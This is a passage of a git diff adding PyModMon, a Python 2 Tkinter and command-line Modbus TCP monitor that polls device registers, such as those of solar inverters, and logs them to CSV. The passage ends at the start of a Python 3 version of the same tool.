options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for 